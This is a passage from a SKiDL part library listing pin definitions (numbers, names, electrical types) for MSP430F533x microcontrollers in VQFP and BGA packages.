Pin(num='34',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='64',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='74',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='84',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='94',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='35',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='55',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='65',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='75',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='85',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='95',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='ADC12CLK/DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='36',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='66',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='76',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='86',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='96',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='67',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='77',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='87',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='97',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='68',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='88',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='98',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='39',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='49',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='59',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='69',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='79',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='89',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='99',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='100',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5333IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 256KB Flash Memory, 18KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5335IZQW'],pins=[
Pin(num='A1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/CB11/A15',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='ADC12CLK/DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/CB10/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='TEST/SBWTCK',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='LDOO',func=Pin.BIDIR,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='LDOI',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2',func=Pin.BIDIR,do_erc=True),
Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5336IPZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='100pin VQFP, 256KB Flash Memory, 18KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5338IPZ'],pins=[
Pin(num='1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.6/CB6/A6/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.7/CB7/A7/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P7.6/CB10/A14/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P7.7/CB11/A15/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='50',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='70',name='P9.2',func=Pin.BIDIR,do_erc=True),
Pin(num='80',name='LDOI',func=Pin.BIDIR,do_erc=True),
Pin(num='90',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='51',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='71',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='81',name='LDOO',func=Pin.BIDIR,do_erc=True),
Pin(num='91',name='TEST/SBWTCK',do_erc=True),
Pin(num='12',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='72',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='92',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='63',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='73',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='83',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='93',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='64',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='74',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='84',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='94',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='35',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='55',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='65',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='75',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='85',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='95',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='ADC12CLK/DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='36',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='66',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='76',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='86',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='96',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='67',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='77',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='87',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='97',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='68',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='88',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='98',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='39',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='49',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='59',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='69',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='79',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='89',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='99',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='100',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5336IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 128KB Flash Memory, 18KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5338IZQW'],pins=[
Pin(num='A1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/CB6/A6/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/CB11/A15/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='ADC12CLK/DMAE0/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/CB7/A7/DAC1',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/CB10/A14/DAC0',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='TEST/SBWTCK',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='TA2CLK/SMCLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='LDOO',func=Pin.BIDIR,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='LDOI',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2',func=Pin.BIDIR,do_erc=True),
